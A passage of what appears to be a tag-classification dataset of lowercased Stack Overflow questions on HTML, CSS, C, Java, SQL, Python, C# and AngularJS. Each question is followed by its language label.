has    survived not only five centuries  but also the leap into electronic    typesetting  remaining essentially unchanged. it was popularised in the    1960s with the release of letraset sheets containing lorem ipsum passages     and more recently with desktop publishing software like aldus pagemaker    including versions of lorem ipsum                &lt;br&gt; &lt;br&gt;                     &lt;b&gt;2nd para &lt;/b&gt;: lorem ipsum is simply dummy text of the    printing and typesetting industry. lorem ipsum has been the industry s    standard dummy text ever since the 1500s  when an unknown printer took a    galley of type and scrambled it to make a type specimen book. it has    survived not only five centuries  but also the leap into electronic    typesetting  remaining essentially unchanged. it was popularised in the    1960s with the release of letraset sheets containing lorem ipsum passages     and more recently with desktop publishing software like aldus pagemaker    including versions of lorem ipsum                &lt;br&gt; &lt;br&gt;                    &lt;br&gt; &lt;br&gt;                 &lt;b&gt;3rd para &lt;/b&gt;:lorem ipsum is simply dummy text of the    printing and typesetting industry. lorem ipsum has been the industry s    standard dummy text ever since the 1500s  when an unknown printer took a    galley of type and scrambled it to make a type specimen book. it has    survived not only five centuries  but also the leap into electronic    typesetting  remaining essentially unchanged. it was popularised in the    1960s with the release of letraset sheets containing lorem ipsum passages     and more recently with desktop publishing software like aldus pagemaker    including versions of lorem ipsum                &lt;br&gt; &lt;br&gt;                 &lt;b&gt;4th para &lt;/b&gt; :lorem ipsum is simply dummy text of the    printing and typesetting industry. lorem ipsum has been the industry s    standard dummy text ever since the 1500s  when an unknown printer took a    galley of type and scrambled it to make a type specimen book. it has    survived not only five centuries  but also the leap into electronic    typesetting  remaining essentially unchanged. it was popularised in the    1960s with the release of letraset sheets containing lorem ipsum passages     and more recently with desktop publishing software like aldus pagemaker    including versions of lorem ipsum                &lt;br&gt; &lt;br&gt;                 &lt;b&gt;5th para &lt;/b&gt; : lorem ipsum is simply dummy text of the    printing and typesetting industry. lorem ipsum has been the industry s    standard dummy text ever since the 1500s  when an unknown printer took a    galley of type and scrambled it to make a type specimen book. it has    survived not only five centuries  but also the leap into electronic    typesetting  remaining essentially unchanged. it was popularised in the    1960s with the release of letraset sheets containing lorem ipsum passages     and more recently with desktop publishing software like aldus pagemaker    including versions of lorem ipsum&lt;/p&gt;               &lt;/main&gt;              &lt;aside class= right-column &gt;                 &lt;h2&gt;right column&lt;/h2&gt;&lt;br&gt;                 &lt;h4&gt; this flots below left column while resizing &lt;/h4&gt;                 &lt;br&gt;                 &lt;p align= justify &gt;lorem ipsum is simply dummy text of the         printing and typesetting industry. lorem ipsum has been the         industry s standard dummy text ever since the 1500s  when an unknown         printer took a galley of type and scrambled it to make a type         specimen book. it has survived not only five centuries  but also the         leap into electronic typesetting  remaining essentially unchanged. it         was popularised in the 1960s with the release of letraset sheets         containing lorem ipsum passages  and more recently with desktop         publishing software like aldus pagemaker including versions of lorem         ipsum&lt;/p&gt;                  &lt;br&gt;              &lt;/aside&gt;         &lt;/div&gt;     &lt;footer&gt;     &lt;div id= my_menu  align= center &gt;     &lt;a href= #  class= current &gt;home&lt;/a&gt; &amp;nbsp; | &lt;a href= # &gt;bloggs&lt;/a&gt;     &amp;nbsp;  | &lt;a href= # &gt;contact&lt;/a&gt;    &lt;/div&gt;   &lt;/footer&gt;    &lt;/div&gt;     &lt;/section&gt;    &lt;/body&gt;   &lt;/html&gt; </code></pre>   snapshot of problem: <a href= https://i.stack.imgur.com/plcqd.jpg  rel= nofollow noreferrer >https://i.stack.imgur.com/plcqd.jpg</a>,css
css microsoft gradient  i have a button that i m trying to apply a gradient to and i m having a problem with it because when i apply the gradient only the border and text remain clickable.  the code below is the line of css that applies the gradient and makes only the text and border clickable.  anyone know how to fix this   thanks.   <pre><code>filter: progid:dximagetransform.microsoft.gradient(startcolorstr= #2a6ebb   endcolorstr= #00457d ); </code></pre>,css
is this possible to assign ng-model value from anchor rag(<a ../>)  my question is when i click the edit link in the table model-dialog want to open and its value should be assigned in there field. here dialog will opening but the  value will not getting initialized.   <pre><code>&lt;div ng-app= myapp  ng-controller= myctrl &gt; &lt;form method= post  action= projects  &gt;     &lt;div class= modal fade  id= update  role= dialog  &gt;     &lt;div class= modal-dialog &gt; &lt;label for= project_id &gt; project id&lt;/label&gt; &lt;input readonly= readonly  ng-model=project_id class= form-control       id= project_id  value=    /&gt;      &lt;/div&gt;      &lt;/div&gt;      &lt;/form&gt; </code></pre>   my question is when i click the edit link in the table model-dialog want to open and its value should be assigned in there field. here dialog will opening but the  value will not getting initialized.   <pre><code>    &lt;table&gt;      &lt;thead&gt;&lt;tr&gt;&lt;td&gt;  edit &lt;/td&gt;&lt;/tr&gt;&lt;/thead&gt;      &lt;tbody&gt;       &lt;tr ng-repeat= values in records  &gt;        &lt;td&gt; &lt;a data-toggle= modal   ng-model=values.projectid               ng-href= #update &lt;/td&gt;       &lt;/tr&gt;      &lt;/tbody&gt;     &lt;/table&gt;     &lt;/div&gt; &lt;script type= text/javascript &gt;  var app = angular.module( myapp   []); app.controller( myctrl   function($scope  $http) { $http.get( projects ).success(function (data) {                  $scope.records = data;    $scope.project_id=$scope.data.projectid;      // $scope.project_id= some value  ...if i remove this comment it is working properly some value will be shown  but i need particular record  data.projectid should be displayed      }); &lt;/script&gt; </code></pre>,angularjs
how can i apply searching in a drive(folder to folder)   i am making a simple antivirus. so i have to search file in the a specific drive. how can i scan the files in drive in each folder.  i try this   <pre><code>directory.getfiles( e:\folder   *.* serachoption.alldirectories); </code></pre>   by using this o am able to find the file in the folders of selected folder. but i cannot select the drive and apply search in the drive. any one help me out,c#
get resources that website is using from code   which is the best way to get a list of resources the website is using  so for example i have a page with the following code:    <pre><code>&lt;!doctype html&gt; &lt;html&gt;     &lt;head&gt;         &lt;title&gt;example page&lt;/title&gt;         &lt;script src= js/myscriptjs &gt;&lt;/script&gt;         &lt;script src= js/jquery.min.js &gt;&lt;/script&gt;         &lt;link rel= stylesheet  href= css/mystyle.css &gt;     &lt;/head&gt; &lt;/html&gt; </code></pre>   how i can detect the files  js/myscriptjs    js/jquery.min.js  and  css/mystyle.css   is the only way to search for file extensions like  .css    .js  or  .php      greetings  flo.,html
calling an instance method from another class  consider this view setup :    <img src= https://i.stack.imgur.com/lyolk.gif  alt= alt text >    i have a view controller which switches between a set of sub views.  each sub view is a uiview subclass with custom code.  to switch views i use a switch statement which allocs the new view as the currentview.  this works very well.    i m now in a position where i have a view (mainmenu) with a sub view (popup) that contains a uitableview.  the popup view is shown and hidden via instance methods of the mainmenu.h class.  lets call the methods showpopup and hidepopup.    when a user selects an item from the uitableview they then have to manually close the containing (popup) view by clicking the close button  which is bound to the hidepopup method.      what should happen when a user selects an item in the uitableview is that the hidepopup method should be triggered automatically.      how do i trigger the hidepopup instance method via the didselectrowatindexpath of the uitableview   is this a job for an app delegate  or perhaps nsnotificationcenter   i ve tried such things as calling    <pre><code>[[[uiapplication sharedapplication] delegate] closepopup];  </code></pre>   from the didselectrowatindexpath to no avail...    thanks in advance  it s probably something simple i m missing.  programming with a flu is difficult!,objective-c
segmentation fault (core dumped) c lang  the program asks for a money amount and prints the number of 500 &amp; 100 bills its made of   <pre><code>#include &lt;stdio.h&gt; int main(void){      int no500 no100 amount;    printf( please enter amount to withdraw : );   scanf( %d  amount);   void function(int a int*x  int*y){    *x= a/500;    *y=(a%500)/100;  }   function(amount &amp;no500 &amp;no100);  printf( the number of 500 bills  %d\n   no500); printf( the number of 100 bills  %d\n   no100);   } </code></pre>   when i run i get :     please enter amount to withdraw :1500     segmentation fault (core dumped),c
why when i enter less than 201 its also run the last if statement i don t enter understand  i do not understand the reason why this code is not working proper when i enter less than 200 then last if statement also executed can anyone tell the problem.    this the main problem of this code is not working properly   <pre><code>    public class main {     public static void main(string args[]){     scanner input=new scanner(system.in);      double unit   ;     double extra;     double total_unit;      system.out.println( enter total unit );      unit=input.nextint();      if(unit &gt;=1 &amp;&amp; unit &lt;=200){      unit=unit *8;      system.out.println(  bill of 200 units is  + unit);      }      if(unit  &gt;=201 &amp;&amp; unit &lt;=300){       extra = unit - 200;       extra= extra * 10;       total_unit = 200 * 8 + extra;       system.out.println( total bill is:   + total_unit);       }      if(unit &gt;=301 &amp;&amp; unit&lt;=400){       extra=unit-300;      extra=extra *15;      total_unit=200*8 +100*10+ extra;      system.out.println( total bill of more than 300 units is  +total_unit);      }        if(unit &gt;=401 &amp;&amp; unit&lt;=500){       extra=unit-400;      extra=extra*20;       total_unit=200*8+ 100*10 + 100*15 + extra ;      system.out.println( total bill between 401 to 500 units  + total_unit);          }       if(unit&gt;501){         extra=unit-500;      system.out.println( unit consumed    + extra +    that above );      extra=extra *25;      system.out.println( ------------unit above 500 bill-------- \n    +extra);      total_unit=200*8 + 100*10 +100*15 +100*20 + extra;      system.out.println( ---------total bill----------\n    +     total_unit);      }      }      } </code></pre>   <img src= https://i.stack.imgur.com/wlvua.png  alt=  >,java
complex sql query help needed  i m not sure how to write this query in sql. there are two tables   <pre><code>**grouprecords** id (int  primary key) name (nvarchar) schoolyear (datetime) recorddate (datetime) isupdate (bit)  **people** id (int  primary key) grouprecordsid (int  foreign key to grouprecords.id) name (nvarchar) bio (nvarchar) location (nvarchar) </code></pre>   return a distinct list of people who belong to grouprecords that have a schoolyear of  2000 . in the returned list  people.name should be unique (no duplicate people.name)  in case of a duplication only the person who belong to the grouprecords with the later recorddate should be returned.    it would probably be better to write a stored procedure for this right,sql
parse localdate to hashmap token  i need help with parsing <code>localdate</code> to a <code>hashmap</code> tokens. <code>currentorder.setorderdate(currenttokens[12])</code>. the <code>orderdate</code> in an <code>order</code> object was given a <code>localdate</code> type. the error was given:    <pre><code>incompatible types: string cannot be converted to localdate. </code></pre>   i need a way to parse it in.     <pre><code>    private void loadorder(localdate date) throws orderpersistenceexception {     string path = getfilepath(date);     file f = new file(path);     if (!f.exists()) {         return;     }      scanner scanner = null;      try {         scanner = new scanner(new bufferedreader(new filereader(path)));     } catch (filenotfoundexception ex) {         throw new orderpersistenceexception(  );     }     string currentline;     string[] currenttokens;      while (scanner.hasnextline()) {         currentline = scanner.nextline();         currenttokens = currentline.split(delimiter);         hashmap&lt;long  order&gt; orders = new hashmap&lt;&gt;();         order currentorder = new order(long.parselong(currenttokens[0]));         currentorder.setcustomername(currenttokens[1]);         currentorder.setstate(currenttokens[2]);         currentorder.settaxrate(new bigdecimal(currenttokens[3]));         currentorder.setproducttype(currenttokens[4]);         currentorder.setarea(new bigdecimal(currenttokens[5]));         currentorder.setcostpersquarefoot(new bigdecimal(currenttokens[6]));         currentorder.setlaborcostpersquarefoot(new bigdecimal(currenttokens[7]));         currentorder.setmeterialcost(new bigdecimal(currenttokens[8]));         currentorder.setlaborcost(new bigdecimal(currenttokens[9]));         currentorder.settotaltax(new bigdecimal(currenttokens[10]));         currentorder.settotal(new bigdecimal(currenttokens[11]));         currentorder.setorderdate(currenttokens[12]);         orders.put(currentorder.getordernumber()  currentorder);          if (!ordermap.containskey(currentorder.getorderdate())) {             ordermap.put(currentorder.getorderdate()  orders);         } else {             ordermap.get(currentorder.getorderdate()).put(currentorder.getordernumber()  currentorder);          }     }     scanner.close();  } </code></pre>   order object;   <pre><code>public class order {      private long ordernumber;     private string customername;     private string state;     private bigdecimal taxrate;     private string producttype;     private bigdecimal area;     private bigdecimal costpersquarefoot;     private bigdecimal laborcostpersquarefoot;     private bigdecimal meterialcost;     private bigdecimal laborcost;     private bigdecimal totaltax;     private bigdecimal total;     private localdate orderdate;     public order(){  } </code></pre>,java
find 2nd largest element from stdin without using an array <pre><code>#include&lt;stdio.h&gt;  int main() {     int i  m1  m2  n  num;     puts( \n );     scanf( %d  &amp;n);     for(i = 0; i &lt; n; i++) {          scanf( %d   &amp;num);          if(i == 0) {               num = m1 = m2;          }          if(num &gt; m1) {               m2 = m1;                m1 = num;           } else if(num &gt; m2) {               m2 = num;          }      }     return 0; } </code></pre>   my stdin: <code>-950 -588 -169 -187 -445 400 -1</code>    i have to get stdout: <code>-169</code> but its showing stdout: <code>\n</code>    note: i want to solve this problem without arrays.,c
including a .js file in another .js file  i see a lot of articles in stackoverflow about including one .js file in another  but i m no wiser after having read them. some point to requirejs and some to using jquery  but it seems the jquery solution is like the chicken and the egg in that i need to include jquery in order to use it!!    thus  let s say i want to include sql-debug.js in my own sql reader .js file:   <pre><code>// my_sql.js reader var sql = require( ../sql/sql-debug.js ); //... </code></pre>   my js code is client code in that it is to be loaded by a browser and code dump all of my js code into the same .html file and use . however  i d like to place it in appropriately named files.    i read a while back that javascript is the most used language  and yet the designers never thought of a simple way to include another javascript file!!    if anyone could provide a working solution to the above simple task it would be much appreciated.    <strong><em>update</em></strong>    having looked at the cited answers i still don t get it. let s say i have the following files all in the same directory: test.html [main html]  test_loading.js [copy&amp;paste of code from cited sources] and apple.js [a simple js class] as follows:    <strong><em>test.html</em></strong>   <pre><code>&lt;!doctype html&gt;  &lt;html&gt;  &lt;head&gt;     &lt;title&gt;basic skeleton&lt;/title&gt;     &lt;script type= text/javascript  src= jquery-1.9.0.js &gt;&lt;/script&gt;     &lt;script type= text/javascript  src= test_loading.js &gt;&lt;/script&gt;     &lt;style&gt;         body{             /* set margin to 0 and overflow to hidden  to              use the complete page */             margin: 0;             overflow: hidden;         }     &lt;/style&gt; &lt;/head&gt; &lt;body&gt;  &lt;!-- div which will hold the output --&gt; &lt;div id= webgl-output &gt; &lt;/div&gt;  &lt;!-- javascript code that runs our three.js examples --&gt; &lt;script type= text/javascript &gt;      // once everything is loaded  we run our three.js stuff.     $(function () {           // here we ll put the three.js stuff     });  &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   <strong><em>test_loading.js</em></strong>   <pre><code>$.getscript( apple.js   function(){     alert( script loaded but not necessarily executed. );  }); </code></pre>   <strong><em>apple.js</em></strong>   <pre><code>class apple {  } </code></pre>   tell me why this doesn t work.,javascript
reading the html code  how to know if something is going to be downloaded   i have access to the html code of a page  and i need to know which tags i can check to know if something is going to be downloaded     for example  is there any pdf in the page  any big pictures  a video on the page  i d need to block them through a proxy before i load the page.    what i use exactly : a proxy through c#  i can get the html before loading the page.,html
should i use ienumerable as return type for an array   i have the following code to optimize execution time and only search for types once:   <pre><code>internal static type[] spectestclasses =         appdomain.currentdomain.getassemblies()             .selectmany(t =&gt; t.gettypes())             .where(t =&gt;                 t.getcustomattribute&lt;compilergeneratedattribute&gt;() == null &amp;&amp;                 t.getcustomattribute&lt;testclassattribute&gt;() != null &amp;&amp;                 t.getcustomattribute&lt;serialseleniumtestattribute&gt;() != null)             .toarray(); </code></pre>   i used to have:   <pre><code>internal static ienumerable&lt;type&gt; spectestclasses =         appdomain.currentdomain.getassemblies()             .selectmany(t =&gt; t.gettypes())             .where(t =&gt;                 t.getcustomattribute&lt;compilergeneratedattribute&gt;() == null &amp;&amp;                 t.getcustomattribute&lt;testclassattribute&gt;() != null &amp;&amp;                 t.getcustomattribute&lt;serialseleniumtestattribute&gt;() != null); </code></pre>   but that didn t optimize my execution since currentdomain was queried for each call. so i then added .toarray()  and then changed the return type to type[].    now to my question: what return type should i have  should i have kept the return type as ienumerable and if so why  resharper didn t have any suggestions on the issue.    thanks <br> drutten    <strong>edit:</strong> for clarification  <code>getassemblies()</code> will not change during the applications lifetime.,c#
getting an error : the left-hand side of an assignment must be a variable  property or indexer  i wanna insert one dataset col value into another datset value one by one but there were getting an error : the left-hand side of an assignment must be a variable  property or indexer    <pre><code>i = convert.toint32(dsarea.tables[0].rows.count); for (int j = 0; j &lt;= i; j++) {   if (dsarea.tables[0].columns[ areaname ].tostring() == ds.tables[0].columns[ areaname ].tostring())   {      dscustreg.tables[0].rows[j][ areaname ].tostring() = ds.tables[0].rows[j][ areaname ].tostring();   } } </code></pre>,c#
how to set the title for a link in html  i want to set new title for a link in html    normal way to set title i simply insert the title inside <code>&lt;a&gt;</code> tag.    but i want to hide the title that is inside the <code>&lt;a&gt;</code> tag. and set a new title for link. i do not want to modify <code>innerhtml</code> the <code>&lt;a&gt;</code> tag. but i just want to put an attribute which will hide the current <code>innerhtml</code> and put its attribute name instead.    my purpose :    i want to implement in place editing for url. if user hover over the link he gets another link edit associated with the current link. if user click on link he redirects to the link. and if user click on edit link the the in place editing for the url enabled using bootstrap editable library. bootstrap lib demands that whatever inside the <code>&lt;a&gt;</code> tag (correct me if i am wrong) will be taken value of the field to be edited. so i dont want to modify <code>innerhtml</code> of <code>&lt;a&gt;</code> tag.    i am currently using title attribute for the same  but it is making no sense for my purpose. is there any attribute available  to achieve my objective,html
reducing memory usage  i am developing a project in which i have used many classes. for creating classes i have used the new operator...example  in banana class i have an instance variable of class apples......    <strong>this is a scaled down representation of what i want to say &amp; does not represent the code word-to-word...so please do not point at syntax errors...but try to understand the methodology</strong>    in header file (banana.h):   <pre><code>static int counter = 0; class banana {   public:   apples *ap_obj;//(apple is a class defined another file apples.cpp)   int *index; } </code></pre>   in banana.cpp :   <pre><code>class banana {   banana::banana(void)   {     ap_obj = new apples;     index = new int;     *index = ++counter;   } }; </code></pre>   my first question is that  is my method correct in terms of memory efficiency  ( i know that i dont have any run time error for sure)    my second question is that  i want to access a banana object in 1 of my methods of any class by using the index (plz note that every banana object has a unique index) variable. for this i am thinking of using another class registry(because i want to store indexes of many classes s objects). i am thinking of storing the pointer of 1st object of any class in my registry class. &amp; for accessing the pointer of any nth object of a class  i plan to use pointer arithmatics on the 1st object using the index variable...example   <pre><code>class registry {   banana *base_obj;//this value will be initialised when i create the 1st object of banana class   banana *registry::get_nth_object(int shift);   {     return *(base_obj + shift);//shift is the index variable of banana class   } }; </code></pre>   in any other class i can just call <strong>get_nth_object</strong> &amp; pass the index no of the object whose pointer i want &amp; i will get that point.    is there anything wrong in my code  or if anything can be improved please help me.    for refernce i use <a href= http://www.cplusplus.com  rel= nofollow >http://www.cplusplus.com</a>. i am a mech engg student so please pardon me if i have made any stupid mistake,c++
tools for faster  better web development  over the years most web developers will have built an arsenal of tools or  tools of the trade . recently i discovered rsync and i am surprised how i managed to live without it all these years. what tools do you consider to be the most compelling  please stick to the ones you use on a regular basis and swear by. they can also be frameworks  platforms  editors and whatever else you think web developers ought to be using (jquery  joomla  xdebug  vi  notepad++  etc).    i ll start off with a couple:   <ol> <li><a href= http://samba.anu.edu.au/ftp/rsync/rsync.html  rel= noreferrer >rsync</a> -  one click  sync to live servers or vice-versa</li> <li><a href= http://dev.mysql.com/doc/refman/5.1/en/mysqldump.html  rel= noreferrer >mysqldump</a> - used alongside rsync to sync the databases</li> <li><a href= https://www.squarefree.com/bookmarklets/webdevel.html  rel= noreferrer >test styles bookmarklet</a> - live css editor bookmarklet which beats the heck out of the  edit > save > reload  cycle by allowing live editing.</li> <li><a href= https://www.squarefree.com/bookmarklets/webdevel.html  rel= noreferrer >javascript shell</a> - javascript shell window attached to a window</li> <li><a href= http://www.getfirebug.com/  rel= noreferrer >firebug</a> - advanced javascript/css/dom debugger</li> <li><a href= http://pear.php.net/package/php_shell/  rel= noreferrer >php-shell</a> - i use this regularly for quickly testing statements  functions  classes or scripts</li> <li><a href= http://css-discuss.incutio.com/  rel= noreferrer >css-discuss wiki</a> - i d be surprised if you couldn t find a solution to your css problem on this wiki (in which case you should add it)</li> <li><a href= http://media.24ways.org/2007/17/fontmatrix.html  rel= noreferrer >font matrix</a> - helps me choose font stacks</li> <li><a href= http://www.phpmyadmin.net/  rel= noreferrer >phpmyadmin</a> - i m certain everyone uses this for managing their mysql databases but thought i d add it to the list for good measure</li> </ol>   even though i have highlighted tools in the lamp environment  you may mention tools you use in your environment.,html
how to write a python console program can output like the top command in linux   the output of top command in linux like bellow:   <blockquote>    tasks: 158 total    1 running  157 sleeping    0 stopped    0 zombie   cpu(s):  6.3%us   3.2%sy   0.0%ni  89.9%id   0.2%wa   0.0%hi   0.2%si    0.0%st mem:   8264212k total   2637492k used   5626720k free    299884k buffers swap:  4192924k total         0k used   4192924k free    2010332k cached        pid user      pr  ni  virt  res  shr s %cpu %mem    time+  command<br>   7178 mysql     15   0 52876  31m 4680 s 21.3  0.4 308:12.04 mysqld<br>   2262 www       16   0 28092  11m 4764 s  4.0  0.1   2:02.31 php-cgi<br>   2110 www       16   0 27956  11m 4888 s  3.7  0.1   2:04.51 php-cgi<br>   2005 www       16   0 28680  12m 4872 s  3.0  0.2   2:04.10 php-cgi<br>   1955 www       16   0 28476  12m 5220 s  2.7  0.1   2:06.51 php-cgi<br>   2030 www       16   0 28260  11m 4872 s  2.0  0.1   2:05.27 php-cgi<br>   7044 www       15   0 24348  19m  932 s  0.7  0.2   1:58.38 nginx       </blockquote>   only part of the content changes constantly.    i can only output a single line keeps changing constantly without newline:   <pre><code>import  sys import  time  if __name__ ==  __main__ :     i = 0     while true:         sys.stdout.write( i = %d.\r  % i)         sys.stdout.flush()         time.sleep(1)         i += 1 </code></pre>   i want to know how to output multiline like the top command(keeps changing constantly without newline).    sorry  my english is poor. hope that makes sense.    thanks  qi,python
peak finder in python in o(log n) complexity  i m completely new to python  thus the question. i m trying to solve a standard interview question  which is finding a peak in an array. a peak is defined as a number which is greater than it s left and right neighbor. i m trying to find the largest such peak.    this is my code:   <pre><code>def main():     arr = [7  12  13  8  2  16  24  11  5  1]     print(find_peak(arr))   def find_peak(arr):     return _find_peak(arr  0  len(arr))   def _find_peak(arr  start  stop):      mid = (start + stop) // 2      if arr[mid] &gt; arr[mid - 1] and arr[mid] &gt; arr[mid + 1]:         return arr[mid]      elif arr[mid] &lt; arr[mid - 1]:         _find_peak(arr  0  mid - 1)      elif arr[mid] &lt; arr[mid + 1]:         _find_peak(arr  mid + 1  stop)   if __name__ ==  __main__ :     main() </code></pre>   the output of this program is <code>none</code>  where as the expected output is <code>24</code>. any help appreciated.,python
upload an image to a created folder in google drive  i am working in c# .net and i want to be able to upload an image to a created folder in google drive. please look at the code below. with this code i am able to make the folder and upload image separately  but i want to write a code to upload an image in a created folder   <pre><code>google.apis.drive.v2.data.file body = new google.apis.drive.v2.data.file(); body.title =  my first folder ; body.description =  document description ; body.mimetype =  application/vnd.google-apps.folder ;  // service is an authorized drive api service instance google.apis.drive.v2.data.file file = service.files.insert(body).fetch();  google.apis.drive.v2.data.file body1 = new google.apis.drive.v2.data.file(); body1.title =  my first folder ; body1.mimetype =  image/jpeg ;  //------------------------------------------  byte[] bytearray = system.io.file.readallbytes( bluehills.jpg ); system.io.memorystream stream = new system.io.memorystream(bytearray);  filesresource.insertmediaupload request = service.files.insert(body  stream   image/jpeg ); request.upload();  google.apis.drive.v2.data.file file1 = request.responsebody; console.writeline( file id:   + file1.id); console.writeline( press enter to end this process. ); console.readline(); </code></pre>,c#
how do i list the department id and name and then the employees who work in that department underneath the dep name  <pre><code>select department_id  department_name from departments union  select department_id  last_name from employees order by 1  2; </code></pre>   but basically ordered in a way that each department has its employees underneath it...,sql
control reaching end of non-void function <pre><code>bool binary(int value int values[] int start int end) {      //binary search     if(start&gt;end)         return false;      int mid=(start+end)/2;      if(value==values[mid])             return true;     else     {         if(value&gt;values[mid])             binary(value values mid+1 end);          else             binary(value values start mid-1);     } } </code></pre>   i m getting the same error again and again.tried a lot of changes,c
open all pages in directory in one page  i ve done a lot of searching for possible ways to do this without success.    i have a directory with all the needed pages. i would like to have them all opened in one page so that i can then print them to pdf.   <pre><code>/allpages  page1.php page2.php page3.php ..... page33.php </code></pre>   is this possible to do or would it be too much for any browser     if you have another php idea to put all pages into pdf without to much additional software installed on server i m open for that also. i ve looked at several linux pdf set up’s but could not seem to get them working or they needed many additional packages.    thanks in advance,php
retain textbox values on page refresh  i have a textbox in a user control uc1. i have embedded this uc1 in a page called default.aspx. my issue is after running the application and entering some data in the textbox  when refresh the page i would like to show the values that i have entered in the textbox and not clear the textbox. i would like help with code on how to achive this. thanks in advance for your help.,asp.net
uitableview: dynamically determining number of sections  i have a medical app for the iphone that i m working on  where a user creates timestamped entries for a series of tests performed  which are stored in sqlite for retrieval and subsequent drilldown. in my model class  i have a property uses an nsarray that is populated with these entries  which gets updated as new additions are made in the app.    one thing i d like to do is display ui behavior similiar to what the calendar list view does - for any given day  display a section header  that show the name of the day and the date  ans display the entries made for that day.     from a brute force standpoint  i can see how you could precalculate this - as build your list of entries  you could store the entire list in a dictionary  keyed by date.    this seems pretty inelegant though  so i m wondering if there are other more efficient ways to accomplish this task.,iphone
restrict multiple selection of radio button in html   the below html code i have allows multiple selection of radio button   how do i limit it so that only one can be chooses at a time from the list    <pre><code>         &lt;fieldset data-role= controlgroup &gt;             &lt;legend&gt;&lt;/legend&gt;             &lt;label for= arrived/left &gt;arrived/left destination&lt;/label&gt;             &lt;input type= radio  name= arrived/left  id= arrived/left  value= arrived/left &gt;             &lt;label for= delayed &gt;delayed&lt;/label&gt;             &lt;input type= radio  name= delayed  id= delayed  value= delayed &gt;                 &lt;label for= canceled &gt;canceled&lt;/label&gt;             &lt;input type= radio  name= canceled  id= canceled  value= canceled &gt;             &lt;label for= getupdate &gt;post to get update  &lt;/label&gt;             &lt;input type= radio  name= getupdate  id= getupdate  value= getupdate &gt;             &lt;label for= other &gt;other&lt;/label&gt;             &lt;input type= radio  name= other  id= other  value= other &gt;           &lt;/fieldset&gt; </code></pre>,html
combine object key values into single string with separator  i want to achieve this:   <pre><code>var keys = [ name    description ]  var obj = {   id: 1    name:  test     description:  lorem ipsum dolores     morekeyshere:  morevalues  }  console.log(obskeystostring(obj  keys   - )) </code></pre>   result: <code>test - lorem ipsum dolores</code>    i have some solution with <code>for</code> loop  and some stirring operations and so on but i am sure there s a better way..,javascript
no resource identifier found for attribute  cachecolorhint  in package  i m trying to use this two-way-grid-view lib:    <a href= https://github.com/jess-anders/two-way-gridview  rel= nofollow noreferrer >https://github.com/jess-anders/two-way-gridview</a>    my xml file:    <a href= https://i.stack.imgur.com/b2g3j.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/b2g3j.png  alt= enter image description here ></a>    my project is running well before i clone it to different path  package...    actually it shows error on all properties  app:.... .    can anyone suggest me something about this error  i m wasting more hours about this.    thanks,android
multiplying an integer by a float literal - is the  f  required   is this:   <pre><code>int i = 100 * 0.6; </code></pre>   less correct than this    <pre><code>int i = 100 * (0.6f); </code></pre>   i apologize for such a simple question  but i haven t memorized all the rules for data type promotions and i m not really sure how to even verify this.,c
angularjs: provider after module.config    if i want to create a custom provider and configure it within <code>module.config</code>  angular appears to require the provider be declared first.    this does <strong>not</strong> work:   <pre class= lang-js prettyprint-override ><code>module.config(function(myserviceprovider) {  }); module.provider( myservice   function() {  }); </code></pre>   this <strong>does</strong> work:   <pre class= lang-js prettyprint-override ><code>module.provider( myservice   function() {  }); module.config(function(myserviceprovider) {  }); </code></pre>   <strong>only the order is different.</strong>    i ve tried this with <code>module.run</code> as well  and it seems to have the same limitation.  is there any way around this other than ensuring the config code is loaded after the provider code     <strong>edit:</strong> here s a <a href= http://jsfiddle.net/rwtrb/  rel= nofollow >jsfiddle of the working order</a>  and a <a href= http://jsfiddle.net/rwtrb/1/  rel= nofollow >jsfiddle of the non-working order</a>.  <em>note the only thing that changes is the order!</em>,angularjs
can t figure out why :nth-of-type won t work  i m trying to select every 4th image in my div gallery. i can t seem to figure out why i can t select it.   <pre><code>#gallery img:nth-of-type(4n){    border: 5px solid #000; } </code></pre>   i ve tried a few other ideas but to no success. can anyone help me and explain to me why this isn t selecting every 4th image in my div gallery  thanks in advance.   <pre><code>    &lt;div id= gallery &gt;    &lt;a href= /system/images/series_uploads/5/original/ankara_5602p_alabaster.jpg 1330114093  rel= lightbox[ gallery ] &gt;     &lt;img alt=   src= /system/images/series_uploads/5/gallery/ankara_5602p_alabaster.jpg 1330114093  title= ankara  /&gt;     &lt;div class= gallery-text &gt;       &lt;h3&gt;ankara&lt;/h3&gt;       &lt;p&gt;porcelain&lt;/p&gt;     &lt;/div&gt;   &lt;/a&gt;    &lt;a href= /system/images/series_uploads/6/original/ankara_5624p_noce.jpg 1330114095  rel= lightbox[ gallery ] &gt;     &lt;img alt=   src= /system/images/series_uploads/6/gallery/ankara_5624p_noce.jpg 1330114095  title= ankara  /&gt;     &lt;div class= gallery-text &gt;       &lt;h3&gt;ankara&lt;/h3&gt;       &lt;p&gt;porcelain&lt;/p&gt;     &lt;/div&gt;   &lt;/a&gt;    &lt;a href= /system/images/series_uploads/7/original/ashton_23931_smokey_beige_.jpg 1330114250  rel= lightbox[ gallery ] &gt;     &lt;img alt=   src= /system/images/series_uploads/7/gallery/ashton_23931_smokey_beige_.jpg 1330114250  title= ashton  /&gt;     &lt;div class= gallery-text &gt;       &lt;h3&gt;ashton&lt;/h3&gt;       &lt;p&gt;porcelain&lt;/p&gt;     &lt;/div&gt;   &lt;/a&gt;    &lt;a href= /system/images/series_uploads/8/original/ashton_23942_camel_haze_entry.jpg 1330114251  rel= lightbox[ gallery ] &gt;     &lt;img alt=   src= /system/images/series_uploads/8/gallery/ashton_23942_camel_haze_entry.jpg 1330114251  title= ashton  /&gt;     &lt;div class= gallery-text &gt;       &lt;h3&gt;ashton&lt;/h3&gt;       &lt;p&gt;porcelain&lt;/p&gt;     &lt;/div&gt;   &lt;/a&gt;    &lt;a href= /system/images/series_uploads/9/original/ashton_23942_camel_haze_lr.jpg 1330114252  rel= lightbox[ gallery ] &gt;     &lt;img alt=   src= /system/images/series_uploads/9/gallery/ashton_23942_camel_haze_lr.jpg 1330114252  title= ashton  /&gt;     &lt;div class= gallery-text &gt;       &lt;h3&gt;ashton&lt;/h3&gt;       &lt;p&gt;porcelain&lt;/p&gt;     &lt;/div&gt;   &lt;/a&gt;    &lt;a href= /system/images/series_uploads/10/original/berkshire_25525_oak.jpg 1330115116  rel= lightbox[ gallery ] &gt;     &lt;img alt=   src= /system/images/series_uploads/10/gallery/berkshire_25525_oak.jpg 1330115116  title= berkshire  /&gt;     &lt;div class= gallery-text &gt;       